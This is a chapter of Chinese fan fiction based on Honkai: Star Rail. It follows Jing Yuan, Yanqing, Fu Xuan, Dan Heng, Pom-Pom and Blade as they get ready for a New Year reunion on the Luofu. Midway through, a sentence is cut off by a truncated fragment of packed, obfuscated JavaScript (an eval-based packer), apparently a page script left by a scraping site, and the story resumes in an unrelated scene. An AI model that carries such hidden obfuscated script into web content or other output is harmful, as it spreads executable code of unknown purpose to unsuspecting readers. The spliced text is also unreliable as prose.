“你把我当什么了?”丹枫没好气的瞥了一眼景元,龙尊把信寄了出去,这才没有什么形象的翻了个白眼,“持明性.欲.淡薄,我也就碰过你一次而已。这次邀请,当然是正式的。” “哈哈哈,那感情好。” 景元笑眯了眼睛。 但下一刻,他的笑容凝固了。 “我还叫了应星。唔,他现在叫刃,对吧?” 景元:“……” 景元抽了抽眼角,在心里哀叹一声。 让被通缉的星核猎手来仙舟将军家里做客?认真的吗? 而且还是丹枫和丹恒都在的情况…… 经历过无数风风雨雨的神策将军,突然觉得头已经开始疼起来了。 ——完了,他现在去追信,还来得及吗? 他很快的,必要时能带着神君一起…… 19.有缘千里来相会 越是临近新岁,罗浮的烟火气便像被施了法术般愈发浓烈。廊下挂起的朱红绸灯串连成游龙,殿宇间飘着松枝与蜜饯的甜香,连巡逻的云骑卫路过时,脚步声都掺了几分轻快。 景元刚送走完前来商议事宜的众人,转身时脸上的笑意还未褪去,反倒比先前多了几分鲜活的神采奕奕。他抬手理了理衣襟,俊美的脸庞上一点也不见以前那种时日显露出的懒散之意,反倒带着点难得的欣喜。 ——这般模样还真是异常到掩饰都不掩饰了,某人活像个盼着赴约的少年人似的,龙行虎步地渐渐走远,一举一动透着雀跃。 目送白发的将军开开心心地离开,符玄大人和彦卿骁卫站在廊下,一脸无奈和无语。 彦卿握着佩剑的手松了松,少年人满是疑惑地挠了挠鬓角,金色的发梢都跟着晃了晃。他实在瞧不懂,将军这时日才处理完堆得满案的祭典流程、兵员调度,换作旁人早该乏了,怎么将军反倒精神振奋得像是刚歇足了许多天? 还这般高兴的样子,他转头向和他一般身高的符玄大人求证道。 “符玄大人,”彦卿转头看向身侧与自己差不多高的太卜大人,语气里满是困惑,还带着点少年人满满的敬佩意味,“将军他……每逢新岁前都这样吗?”这么精神奕奕,看起来比平时都要神清气爽好多。 以前好像……也不是这样的吧? 他顿了顿,似乎觉得不应该这样言说,又补充道:“处理完这么多政务还能有这般精神,将军当真是吾辈楷模,看来彦卿往后还要多向将军学习才是。” 粉头发身高不济的太卜大人无语的翻了个白眼,她眼角抽了抽,强忍着吐槽的欲望,拍拍身边单纯的少年郎,声音微微放缓,语重心长的对他说道:“彦卿骁卫你确实还有得学,但……跟景元将军学这个就不必了。若是你真有心思学些实在的,不妨有空来太卜司。本座可教你些基础的占卜之术,至少它能辨些人心、断些局势。”免得傻乎乎的被人骗得团团转。 况且景元将军和那位上一任饮月君的事情,事关持明一族争论了无数年年的话题——若轮回转世,你是否还会将他们当做一人?这种事情就连当事人都无法真正的断定。 符玄摇了摇头,他们这些不在局中的旁人便莫要去掺和这等麻烦事了。不过,符玄眉头轻轻皱起,看向景元离开的方向,眼神微微沉了沉,粉发的太卜大人低声说了一句话,很轻,就连身边的彦卿也没有听到。 “哦,彦卿记得了……” 俊俏的金发云骑骁卫神色愣了愣,但也没有拒绝对方,只是摸摸自己的头,神情略带茫然地点头应下了。 虽然自己不一定能学的来,但符玄大人此举也定有她自己的深意…… 彦卿甩了甩头,把关于将军的疑惑暂且抛到脑后——眼下还有更要紧的事。 今早云骑卫的同僚曾向他提起过,工造司新铸了柄试作剑,据说刃身淬了一种非常稀有罕见的矿石,能泛出淡蓝的星光,若是挥剑过去,剑身上的光线连接成片,宛如洒落出灿烂的星河,美丽又耀眼。 彦卿对此也是心驰神往。 “去看一眼就好,就看一眼。”他小声跟自己保证,指尖却忍不住摩挲起腰间佩剑的剑柄,眼底已经亮起了期待的光。可下一秒,他又想起自己那间专门用来堆放剑器的屋子,已经被塞得满满当当,自己再这么毫无节制的买下去,怕是连人进去的落脚地方都要没了。 少年人垮下肩膀,再次愁眉苦脸地叹了口气,连束起的高马尾也跟着蔫嗒嗒地耷拉下来,垂在脑后:“真的不能再买了……这次一定能忍住。” 他话虽这么说,脚步却已经不自觉地往工造司的方向转了半分。 —— 丹恒再次踏上罗浮的地界,不知何处而来的微凉的风卷着松枝的气息掠过衣摆,他的神色平静得像一潭深水。 脚下是那些回忆里十分熟悉的道路,远处是壮观雄伟的殿宇阁楼。黑发的年轻人抬手拂去被风吹到肩头沾染的碎叶,指尖动作轻缓,看着熙熙攘攘的来往路人,心情还算平静。 他觉得自己已经没有什么好在乎的了,也已经想通了。 不就是可能会遇见那些事情吗? 只要抛却自己的理智,就没有问题了。再怎么说,丹枫身为持明一族的尊长,万人敬仰的饮月君,也是有一丝分寸在的,更何况还有景元在一边盯着。 他们两个在大事之上,肯定能放心;至于那些“小事”,丹恒眉眼的神情坚毅了起来,他不会再害怕了。没错,这些都是大不了的事情。 这次他只为了赴约,和久别重逢的老朋友过节! 景元难得开口邀请自己一次,丹恒实在不能忍心就此拒绝,况且自己已经在智库里待太久了,不光穹和三月七下车去匹诺康尼之前劝他多出去透透气,走一下,就连帕姆列车长都看不过去,把他硬生生的推出了列车。 让他不要再犹豫下去,快点应约友人,到处游玩一番,透透气,别再躲在智库里面“培养蘑菇”了。 毛绒绒的可爱列车长看着丹恒,一脸的恨铁不成钢,它叹息着说:“丹恒乘客,你真的需要出去透透气了帕。” 眉眼清俊的年轻人低低嗯了一声,没有太大的反应回馈过来,这让帕姆实在是很担忧对方的情况。现在列车上就剩下这只独苗苗不是很开心的样子了,一定要让他振作起来啊。 帕姆你可以的! 说起来,三月七和穹在匹诺康尼玩得开心吗? 毛绒绒的列车长绞尽脑汁想了想,总算找到了一个看起来很合理的理由。 帕姆迈着小短腿跑到丹恒乘客的腿边,指着窗外的方向:“丹恒乘客,帕姆之前听闻有来自罗浮的访客说,罗浮如今正值新春佳节,想必那上面一定会很热闹吧。可惜列车长不能离开星穹列车,是看不到那一幕热闹喧嚣的场景了。” “不过,丹恒乘客可以代替列车长去帕。只要到时候别忘了给你的列车长带好吃的回来啊帕……”帕姆推了推丹恒,把他想说的话都给堵了回去,“丹恒乘客,你忍心你的列车长因为吃不到罗浮的好吃东西而闷闷不乐一整天吗帕?” “我……”丹恒下意识的摇摇头,他闭闭眼,最后深吸一口气,却是重新返回了列车,走向智库,“好,我会去的,帕姆你放心,你想要吃的零食我一定会给你带到!” 在帕姆的惊讶目光中,他快速地翻找出了之前穹和三月七送给他的东西——是一小瓶神神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“大叔,你可要注意一点啊。虽然卡芙卡已经提前给你下了言灵,帮你稳定了魔阴身,但千万千万不要随便乱来哦。到时候被抓进幽囚狱了,真的很难救你出来的。”蓝色透明的身材娇小的少女拍拍身边沉默寡言的英俊男人,一副老气横秋的语气。 “毕竟我们的通缉令都还在上面挂着呢。当然了,大叔想去见老朋友,我们肯定要尽力帮你完成的。放心,如果,我是说如果,大叔你最后还是魔阴身发作了,被抓了进去,我们也一定会把你救出来的。” 带着黑色口罩的男人一身浓重的黑色,他低头理了理自己的黑色风衣,什么也没有说,只是用那双犹如鲜血凝聚的漂亮红瞳扫了扫周围。 然后男人愣住了。 “你定位的地方是在哪里?” 男人阴沉着脸隔着一个偏僻的巷口看向对面那人来人往的繁华街道。 这里,人太多了。 他已经听见无数的嘈杂喧嚣的声音传入耳中了,这样他怎么出去? 这时候,身边的少女却好像有什么急事,她的光影闪了闪就这么消失了,虽然说了什么解释,但刃只听清了一段断断续续的话语。 “啊等等……金人巷,有什么……问题……吗?” “……” ——